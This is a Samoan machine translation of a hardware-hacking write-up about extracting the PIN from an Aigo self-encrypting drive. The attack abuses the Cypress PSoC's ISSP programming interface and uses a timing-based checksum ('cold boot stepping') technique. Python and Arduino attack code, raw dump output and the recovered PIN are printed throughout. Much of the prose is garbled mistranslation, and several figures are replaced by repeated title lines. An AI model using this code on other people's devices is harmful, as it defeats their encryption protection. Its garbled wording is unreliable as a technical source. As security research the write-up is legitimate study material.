Toe fesuia'i ma hacking Aigo e fa'ailogaina e ia lava le ta'avale HDD fafo. Vaega 2: Aveina o se lapisi mai Cypress PSoC

O le vaega lona lua ma le faai'u lea o le tala e uiga i le talepeina o ta'avale fa'ailoga a le tagata lava ia. Sei ou faamanatu atu ia te oe o se paaga na aumai ia te au se Patriot (Aigo) SK8671 hard drive, ma na ou filifili e toe fesuiai, ma o lea ua ou faasoa atu le mea na sau mai ai. A'o le'i faitau atili, ia mautinoa e faitau vaega muamua tusiga.

4. Ua amata ona matou ave se lafoai mai le PSoC flash drive i totonu
5. ISSP protocol
– 5.1. O le a le ISSP
– 5.2. Vectors Demystifying
– 5.3. Fesootaiga ma PSoC
– 5.4. Fa'ailoaina o tusi resitala i luga ole masini
– 5.5. Saogalemu vaega
6. Muamua (le manuia) osofaʻiga: ROMX
7. Osofaiga Lona Lua: Su'e Fa'aa'e Malūlū
– 7.1. Fa'atinoga
– 7.2. Faitau le i'uga
– 7.3. Toe fa'afouina fa'alua
– 7.4. Su'e le tuatusi PIN code e teu ai
– 7.5. O le lafoaia o le poloka Nu.126
– 7.6. Toe fa'aleleia le PIN code
8. O le ā le isi mea?
9. Faaiuga

Toe fesuia'i ma hacking Aigo e fa'ailogaina e ia lava le ta'avale HDD fafo. Vaega 2: Aveina o se lapisi mai Cypress PSoC


4. Ua amata ona matou ave se lafoai mai le PSoC flash drive i totonu

O lea la, o mea uma e faʻaalia (e pei ona matou faʻatuina i le [vaega muamua]()) o loʻo teuina le PIN code i le loloto o le PSoC. O le mea lea, e tatau ona tatou faitau i nei faʻamatalaga loloto. Luma o galuega manaʻomia:

  • pulea le “fesootaiga” ma le microcontroller;
  • saili se auala e siaki ai pe puipuia lenei "fesootaiga" mai le faitau mai fafo;
  • saili se auala e alo ese ai le puipuiga.

E lua nofoaga e talafeagai e su'e ai se PIN code aoga:

  • manatuaga moli totonu;
  • SRAM, lea e mafai ona teuina ai le pine code e faʻatusatusa i le pine code na faʻaogaina e le tagata faʻaoga.

I le vaʻavaʻai i luma, o le a ou matauina na mafai lava ona ou faʻaaogaina le faʻaogaina o le PSoC flash drive i totonu - le faʻaogaina o lona puipuiga malu e faʻaaoga ai se osofaʻiga meafaigaluega e taʻua o le "cold boot tracing" - ina ua uma ona toe fesuiaʻi le gafatia e le faʻamaonia o le ISSP protocol. O lea na mafai ai ona ou lafo sa'o le PIN code.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Fa'ailoga polokalame mulimuli:

5. ISSP protocol

5.1. O le a le ISSP

"Fesootaiga" ma se microcontroller e mafai ona faauigaina mea eseese: mai le "faʻatau atu i le faʻatau" i fegalegaleaiga e faʻaaoga ai se faʻasologa faʻasologa (mo se faʻataʻitaʻiga, ICSP mo Microchip's PIC).

O Cypress e iai lana lava faʻasalalauga faʻapitoa mo lenei mea, e taʻua o le ISSP (in-system serial programming protocol), lea o loʻo faʻamatalaina vaega i totonu. faʻamatalaga faʻapitoa. Pateni US7185162 tuuina mai foi nisi faamatalaga. O lo'o iai fo'i se OpenSource tutusa e ta'ua o le HSSP (matou te fa'aaogaina i se taimi mulimuli ane). O lo'o galue le ISSP e fa'apea:

  • toe fa'afouina PSoC;
  • tu'u le numera fa'ataulāitu i le pine fa'amaumauga o lenei PSoC; e ulufale atu i fafo faiga polokalame;
  • auina atu poloaiga, o manoa uumi e ta'ua o "vectors".

O faʻamaumauga a le ISSP o loʻo faʻamatalaina ai nei vectors mo naʻo ni nai faʻatonuga:

  • Initialize-1
  • Initialize-2
  • Initialize-3 (3V ma 5V filifiliga)
  • ID-SETUP
  • FAITAU-ID-UPU
  • SET-BLOCK-NUM: 10011111010dddddddd111, lea dddddddd=poloka #
  • TELE TUSI
  • POLOKALAMA-POLOKA
  • FA'AMANATU-SETUP
  • FAITAU-BYTE: 10110aaaaaZDDDDDDDDZ1, lea DDDDDDDD = faʻamatalaga i fafo, aaaaaa = tuatusi (6 bits)
  • WRITE-BYTE: 10010aaaaaaddddddd111, lea dddddddd = faʻamaumauga i totonu, aaaaaa = tuatusi (6 bits)
  • TULAGA
  • SISI-SETUP
  • FAITAU-SI'IGA: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, lea DDDDDDDDDDDDDDDDDD = fa'amatalaga i fafo: siaki masini
  • TELE POLOKA

Mo se faʻataʻitaʻiga, o le vector mo Initialize-2:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

E tutusa uma le umi o vectors: 22 bits. O fa'amaumauga a le HSSP o lo'o iai nisi fa'amatalaga fa'aopoopo i luga ole ISSP: “O le ISSP vete e leai se mea e sili atu nai lo sina fa'asologa e fa'atusalia se seti o fa'atonuga."

5.2. Vectors Demystifying

Se'i tatou va'ai po o le a le mea o lo'o tupu iinei. I le taimi muamua, na ou manatu o nei lava vectors o ni faʻamatalaga mataʻutia o faatonuga a le M8C, ae ina ua uma ona siaki lenei manatu, na ou iloa ai e le fetaui le opcodes o gaioiga.

Ona ou su'e lea o le vector i luga ma sau i luga lenei o se suʻesuʻega lea e le tusitala, e ui lava na te le o auiliiliina, o loʻo tuʻuina mai ai ni fautuaga aoga: "O faatonuga taʻitasi e amata i ni vaega se tolu e fetaui ma se tasi o le fa mnemonics (faitau mai le RAM, tusi i le RAM, faitau tusi resitala, tusi resitala). Ona i ai lea o le 8 address bits, sosoo ai ma le 8 data bits (faitau pe tusi) ma mulimuli ane tolu vaega taofi.

Ona mafai lea ona ou aoina mai ni faamatalaga aoga tele mai le vaega Supervisory ROM (SROM). tusi fa'atekinisi. O le SROM o se ROM fa'amalo i le PSoC o lo'o tu'uina atu ai galuega fa'aoga (i se auala fa'atusa ma Syscall) mo le fa'ailoga o le polokalame o lo'o fa'agaoioi i avanoa fa'aoga:

  • 00h:SWBootReset
  • 01h: Faitau Block
  • 02h: Tusi Tusi
  • 03h: Tape poloka
  • 06h: Faitau Laulau
  • 07h: Su'esu'ega
  • 08h: Fa'avasega0
  • 09h: Fa'avasega1

I le fa'atusatusaina o igoa ve'a i galuega a le SROM, e mafai ona tatou fa'afanua fa'agaioiga 'ese'ese o lo'o lagolagoina e lenei fa'atonuga ile fa'amoemoe ole SROM. Faʻafetai i lenei mea, e mafai ona tatou faʻavasegaina vaega muamua e tolu o le ISSP vectors:

  • 100 => “wrem”
  • 101 => “rdmem”
  • 110 => “mea leaga”
  • 111 => “taulaga”

Ae ui i lea, o le malamalama atoatoa i luga ole masini e mafai ona maua e ala i fesoʻotaʻiga tuusaʻo ma le PSoC.

5.3. Fesootaiga ma PSoC

Talu ai o Dirk Petrautsky ua uma utaina Cypress's HSSP code i Arduino, na ou faʻaogaina Arduino Uno e faʻafesoʻotaʻi i le ISSP fesoʻotaʻiga o le laupapa keyboard.

Faamolemole ia maitauina i le faagasologa o laʻu suʻesuʻega, na ou suia le code a Dirk i sina mea itiiti. E mafai ona e mauaina laʻu suiga ile GitHub: iinei ma le tusitusiga Python fetaui mo le fesoʻotaʻi ma Arduino, i laʻu fale teu oloa cypress_psoc_tools.

O lea la, i le faʻaaogaina o Arduino, na ou faʻaaogaina muamua naʻo le "official" vectors mo le "fesoʻotaʻiga". Na ou taumafai e faitau le ROM i totonu e faʻaaoga ai le VERIFY command. E pei ona faamoemoeina, sa le mafai ona ou faia lenei mea. Masalo ona o le mea moni o loʻo faʻagaoioia vaega o le puipuiga i totonu o le flash drive.

Ona ou faia lea o nai aʻu lava vete faigofie mo le tusitusi ma le faitau manatua / resitala. Faamolemole ia matau e mafai ona tatou faitauina le SROM atoa e ui lava e puipuia le flash drive!

5.4. Fa'ailoaina o tusi resitala i luga ole masini

Ina ua uma ona tilotilo i le "disassembled" vectors, na ou iloa ai o loʻo faʻaogaina e le masini tusi resitala e leʻi faʻamaonia (0xF8-0xFA) e faʻamaonia ai M8C opcodes, lea e faʻatinoina saʻo, e ala i le puipuia. O lenei mea na mafai ai ona ou faʻatautaia opcodes eseese e pei o le "ADD", "MOV A, X", "PUSH" poʻo le "JMP". Faʻafetai ia i latou (e ala i le vaʻavaʻai i aʻafiaga o loʻo i ai i luga o tusi resitala) na mafai ai ona ou iloa poʻo fea o tusi resitala e leʻi faʻamaonia o ni resitala masani (A, X, SP ma PC).

O se taunuuga, o le "disassembled" code na gaosia e le HSSP_disas.rb meafaigaluega e foliga mai lenei (Na ou faʻaopoopoina faʻamatalaga mo le manino):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Saogalemu vaega

I lenei laʻasaga ua mafai ona ou fesoʻotaʻi ma le PSoC, ae ou te leʻi maua lava faʻamatalaga faʻatuatuaina e uiga i vaega saogalemu o le flash drive. Na ou matua ofo lava i le mea moni e le maua e Cypress le tagata faʻaogaina le masini soʻo se auala e siaki ai pe faʻaagaoioia le puipuiga. Na ou su'esu'e loloto i totonu o Google e iu ai ina ou malamalama o le HSSP code na saunia e Cypress na toe fa'afouina ina ua uma ona fa'ailoa e Dirk lana suiga. Ma o lea! O lenei vete fou ua aliali mai:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

I le fa'aogaina o lenei vete (silasila i le read_security_data i le psoc.py), matou te maua uma le puipuiga malu i le SRAM i le 0x80, lea e lua paʻu i poloka puipuia.

O le taunuuga e faʻavaivai: o mea uma e puipuia i le "faʻamalo le faitau ma le tusitusi i fafo" mode. O le mea lea, e le gata e le mafai ona tatou faitau i se mea mai le flash drive, ae e le mafai foi ona tatou tusia se mea (mo se faʻataʻitaʻiga, faʻapipiʻi se ROM dumper iina). Ma na o le pau lava le auala e faʻamalo ai le puipuiga o le tape atoa o le pu. 🙁

6. Muamua (le manuia) osofaʻiga: ROMX

Ae ui i lea, e mafai ona tatou faʻataʻitaʻiina le togafiti lenei: talu ai o loʻo ia i tatou le malosi e faʻatino ai opcodes faʻapitoa, aisea e le faʻatinoina ai le ROMX, lea e faʻaaoga e faitau ai le manatuaga flash? O lenei faiga e iai se avanoa lelei e manuia ai. Ona o le galuega ReadBlock e faitau faʻamatalaga mai le SROM (lea e faʻaaogaina e vectors) siaki pe valaʻau mai le ISSP. Ae ui i lea, o le ROMX opcode atonu e leai se siaki faapena. O lea la o le code Python (pe a uma ona faʻaopoopo ni nai vasega fesoasoani i le Arduino code):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Ae paga lea e le aoga lenei code. 🙁 Pe sili atu e aoga, ae matou te maua a matou lava opcodes i le gaioiga (0x28 0x30 0x40)! Ou te le manatu o le gaioiga tutusa o le masini o se elemene o le puipuiga faitau. E sili atu lenei mea o se togafiti fa'ainisinia: pe a fa'atino opcodes fafo, o le pasi ROM e toe fa'afeiloa'i i se pa'u le tumau.

7. Osofaiga Lona Lua: Su'e Fa'aa'e Malūlū

Talu ai e leʻi galue le togafiti ROMX, na amata ona ou mafaufau i se isi fesuiaiga o lenei togafiti - faʻamatalaina i le lomiga "Faamaligiina le tele o le Malamalama i luga o le Puipuiga o Firmware a le Microcontroller".

7.1. Fa'atinoga

O fa'amaumauga a le ISSP o lo'o tu'uina mai ai le ve'a nei mo CHECKSUM-SETUP:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

O lenei mea e taʻua ai le SROM galuega 0x07, e pei ona tuʻuina atu i totonu o faʻamaumauga (italics mine):

O lenei galuega fa'amaonia siaki siaki. O lo'o fa'atatauina se su'ega 16-bit o le aofa'i o poloka fa'apitoa a tagata fa'aoga i totonu o le faletupe moli e tasi, e amata mai le leai. O le BLOCKID parameter e faʻaaogaina e pasi ai le numera o poloka o le a faʻaaogaina pe a faʻatatau le siaki tupe. Ole tau ole "1" ole a na'o le su'eina ole poloka ole poloka; a o "0" o le a mafua ai ona fuafua le aofaʻi o siaki uma o poloka uma e 256 o le flash bank e fuafua. O le siaki tupe 16-bit e toe faafoi mai ile KEY1 ma KEY2. O le fa'ailoga KEY1 e teu ai le 8 bits maualalo o le siaki tupe, ma o le KEY2 parameter e teu ai le 8 bits maualuga. Mo masini e tele faletupe moli, o le siaki siaki e valaʻauina taʻitasi taʻitasi. O le numera o le faletupe o le a galue ai o loʻo faʻatulagaina e le FLS_PR1 resitala (e ala i le setiina o le bit i totonu e fetaui ma le faletupe flash target).

Manatua o se siaki faigofie lenei: o bytes e faʻaopoopoina tasi ma le isi; leai ni fa'ailoga CRC. E le gata i lea, i le iloaina o le M8C autu o loʻo i ai se seti laʻititi o tusi resitala, na ou manatu pe a faʻatusatusa le siaki tupe, o le a faʻamauina tulaga taua i totonu o fesuiaiga tutusa o le a iu lava ina alu i le gaosiga: KEY1 (0xF8) / KEY2 ( 0xF9).

O lea la i le teori o laʻu osofaʻiga e pei o lenei:

  1. Matou te faʻafesoʻotaʻi e ala ile ISSP.
  2. Matou te amataina le faʻatusatusaga o siaki e faʻaaoga ai le vector CHECKSUM-SETUP.
  3. Matou te toe faʻafouina le gaioiga pe a maeʻa se taimi faʻapitoa T.
  4. Matou te faitau le RAM e maua ai le siaki siaki C.
  5. Toe fai le Laasaga 3 ma le 4, faatele laititi T i taimi taitasi.
  6. Matou te toe maua faʻamaumauga mai le flash drive e ala i le toesea o le siaki muamua C mai le taimi nei.

Ae ui i lea, o loʻo i ai se faʻafitauli: o le Initialize-1 vector e tatau ona matou lafoina pe a uma ona toe faʻafou e sui ai KEY1 ma KEY2:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

O lenei code e faʻauluina a tatou siaki taua e ala i le valaʻau Calibrate1 (SROM galuega 9) ... Atonu e mafai ona na o le auina atu o le numera faʻailoga (mai le amataga o le code i luga) e ulufale ai i le polokalame polokalame, ona faitau lea o le SRAM? Ma ioe, e aoga! O le Arduino code o loʻo faʻaaogaina lenei osofaʻiga e faigofie lava:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Faitau checkum_delay.
  2. Fa'asolo le fa'atatauga o siaki tupe (send_checksum_v).
  3. Faatali mo se vaitaimi patino; amana'ia ai fa'alavelave nei:
    • Na ou faamaumauina le tele o le taimi seia oo ina ou iloa le mea e tupu tuaiMicroseconds galue sa'o na'o le tuai e le sili atu i le 16383 μs;
    • ona toe faʻaumatia lea o le taimi lava e tasi seia oʻo ina ou iloa o le tuaiMicroseconds, pe a tuʻuina atu le 0 e fai ma faʻaoga, e matua le saʻo lava le galue!
  4. Toe faʻafou le PSoC i le faʻatulagaina o polokalame (naʻo le lafoina o le numera faʻailoga, e aunoa ma le tuʻuina atu o vectors amata).

Fa'ailoga mulimuli ile Python:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

I se faapuupuuga, o le a le mea e fai e lenei code:

  1. Toe fa'afou le PSoC (ma lafo i ai se numera fa'ataulāitu).
  2. Auina atu vectors amata atoa.
  3. Valaau le galuega Arduino Cmnd_STK_START_CSUM (0x85), lea e pasia ai le tuai i microseconds e fai ma parakalafa.
  4. Faitau le su'ega (0xF8 ma le 0xF9) ma le resitala e le'i fa'amauina 0xF1.

O lenei code e faʻatino 10 taimi i le 1 microsecond. 0xF1 o loʻo aofia ai iinei ona e naʻo le pau lea o le resitala na suia pe a faʻatatau le siaki tupe. Masalo o se ituaiga o fesuiaiga le tumau o loʻo faʻaaogaina e le numera numera numera. Manatua le hack leaga ou te faʻaaogaina e toe faʻaleleia ai le Arduino e faʻaaoga ai le picocom pe a taofi le Arduino faʻaalia faailoga o le ola (leai se manatu pe aisea).

7.2. Faitau le i'uga

O le taunuuga o le Python script e pei o lenei (faʻafaigofie mo le faitau):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

O le fa'apea, o lo'o i ai so matou fa'afitauli: talu ai o lo'o matou fa'agaoioia ma se siaki moni, o le null byte e le suia le tau faitau. Ae ui i lea, talu ai o le faagasologa atoa o le faʻatulagaina (8192 bytes) e 0,1478 sekone (faʻatasi ai ma sina suiga i taimi uma e taʻavale ai), lea e tutusa ma le 18,04 μs i le paita, e mafai ona tatou faʻaogaina le taimi lenei e siaki ai le tau o siaki i taimi talafeagai. Mo le taʻavale muamua, e faigofie lava ona faitau mea uma, talu ai o le umi o le faʻasologa o faʻasologa e toetoe lava tutusa. Ae ui i lea, o le faaiuga o lenei lafoai e le sa'o ona o le "mea laiti o le taimi o suiga" i luga o taʻaloga taʻitasi e faʻaopoopo e avea ma mea taua:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

E 10 lafoa'i mo ta'i microsecond tuai. Ole aofa'i ole taimi ole fa'agaoioiga mo le lafoa'iina uma ole 8192 paita ole ta'avale uila e tusa ma le 48 itula.

7.3. Toe fa'afouina fa'alua

Ou te leʻi maeʻa le tusiaina o le code lea o le a toe faʻaleleia atoatoa ai le code program o le flash drive, ma amanaʻia taimi uma. Ae ui i lea, ua uma ona ou toe faʻaleleia le amataga o lenei code. Ina ia mautinoa na ou faia saʻo, na ou faʻaaogaina le m8cdis:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

E foliga mai e talafeagai!

7.4. Su'e le tuatusi PIN code e teu ai

I le taimi nei e mafai ona tatou faitau le siaki tupe i taimi tatou te manaʻomia, e faigofie ona tatou siaki pe faʻafefea ma pe o fea e suia pe a tatou:

  • ulufale sese le PIN code;
  • sui le pine code.

Muamua, ina ia su'e le tuatusi e teu ai, na ou ave se siaki siaki i le 10 ms faʻaopoopoga pe a uma le toe faʻafouina. Ona sese lea o lau PIN ma fai le mea lava e tasi.

E leʻi manaia tele le iʻuga, talu ai sa tele suiga. Ae i le faaiuga na mafai ona ou iloa na suia le siaki tupe i le va o le 120000 µs ma le 140000 µs o le tuai. Ae o le "pincode" na ou faʻaalia iina e matua le saʻo lava - ona o se mea faʻapitoa o le faʻatuai o le microseconds procedure, lea e faia ai mea uiga ese pe a tuʻuina atu i ai le 0.

Ma, ina ua uma ona faʻaaluina toetoe 3 itula, na ou manatua o le SROM system call CheckSum maua se finauga e fai ma faʻaoga e faʻamaonia ai le numera o poloka mo le siaki tupe! lena. e mafai ona faigofie ona tatou vaʻaia le tuatusi teuina o le PIN code ma le "taumafaiga sese", faʻatasi ai ma le saʻo e oʻo atu i se poloka 64-byte.

O aʻu taʻavale muamua na maua ai le iʻuga nei:

Toe fesuia'i ma hacking Aigo e fa'ailogaina e ia lava le ta'avale HDD fafo. Vaega 2: Aveina o se lapisi mai Cypress PSoC

Ona ou suia lea o le PIN code mai le "123456" i le "1234567" ma maua:

Toe fesuia'i ma hacking Aigo e fa'ailogaina e ia lava le ta'avale HDD fafo. Vaega 2: Aveina o se lapisi mai Cypress PSoC

O le mea lea, o le PIN code ma le fata o taumafaiga le saʻo e foliga mai o loʻo teuina i le poloka Nu. 126.

7.5. O le lafoaia o le poloka Nu.126

Block #126 e tatau ona tu i se mea e tusa ma le 125x64x18 = 144000μs, mai le amataga o le siaki siaki, i loʻu lafoai atoa, ma e foliga mai e talafeagai. Ma, ina ua maeʻa ona faʻamama ma le lima le tele o lapisi le aoga (ona o le faʻaputuina o "tulaga laiti taimi"), na iu ina ou mauaina nei bytes (i le latency o le 145527 μs):

Toe fesuia'i ma hacking Aigo e fa'ailogaina e ia lava le ta'avale HDD fafo. Vaega 2: Aveina o se lapisi mai Cypress PSoC

E matua manino lava o le PIN code o loʻo teuina i se faʻailoga e le faʻamaonia! O nei tau, ioe, e le o tusia i tulafono a le ASCII, ae e foliga mai, latou te atagia ai faitauga na maua mai le keyboard capacitive.

Mulimuli ane, sa ou faia nisi su'ega e su'e ai po o fea na teu ai le fata taumafaiga leaga. O le i'uga lea:

Toe fesuia'i ma hacking Aigo e fa'ailogaina e ia lava le ta'avale HDD fafo. Vaega 2: Aveina o se lapisi mai Cypress PSoC

0xFF - o lona uiga "15 taumafaiga" ma e faʻaitiitia i taumafaiga uma e le manuia.

7.6. Toe fa'aleleia le PIN code

O laʻu code mataga lea e tuʻu faʻatasi ai luga:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

O le i'uga lenei o lona fa'atinoina:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Talofa! Galuega!

Faamolemole ia matau o le latency values ​​na ou faaaogaina e foliga mai e talafeagai i se tasi PSoC patino - le tasi na ou faaaogaina.

8. O le ā le isi mea?

O lea, seʻi o tatou aoteleina i le itu PSoC, i le tulaga o la tatou taavale Aigo:

  • e mafai ona tatou faitau SRAM tusa lava pe faitau puipuia;
  • E mafai ona tatou pasia le puipuiga o le anti-swipe e ala i le faʻaaogaina o se osofaʻiga o seevae malulu ma faitau saʻo le PIN code.

Ae ui i lea, o la matou osofaʻiga e iai ni faʻaletonu ona o faʻafitauli faʻatasi. E mafai ona faaleleia e pei ona taua i lalo:

  • tusi se mea aoga e fa'avasega sa'o ai fa'amaumauga o fa'amatalaga na maua ona o se osofa'iga o le "fa'ailoga malulu";
  • fa'aoga se masini FPGA e fa'atupu ai ni fa'atuai sa'o o le taimi (po'o le fa'aogaina o masini masini Arduino);
  • taumafai se isi osofaʻiga: faʻapipiʻi se PIN code sese ma le loto i ai, toe faʻafou ma lafoai le RAM, ma le faʻamoemoe o le PIN saʻo o le a faʻasaoina i le RAM mo faʻatusatusaga. Ae ui i lea, e le faigofie tele ona fai i Arduino, talu ai o le maualuga o le faailo o le Arduino e 5 volts, ae o le laupapa o loʻo matou suʻesuʻeina e galue i le 3,3 volt.

O se tasi o mea manaia e mafai ona faʻataʻitaʻiina o le taʻalo i le maualuga o le voltage e pasi ai le puipuiga faitau. Afai e aoga lenei faiga, o le a mafai ona tatou maua faʻamatalaga saʻo atoatoa mai le flash drive - nai lo le faʻalagolago i le faitauina o se siaki tupe faʻatasi ai ma le faʻatuai o le taimi.

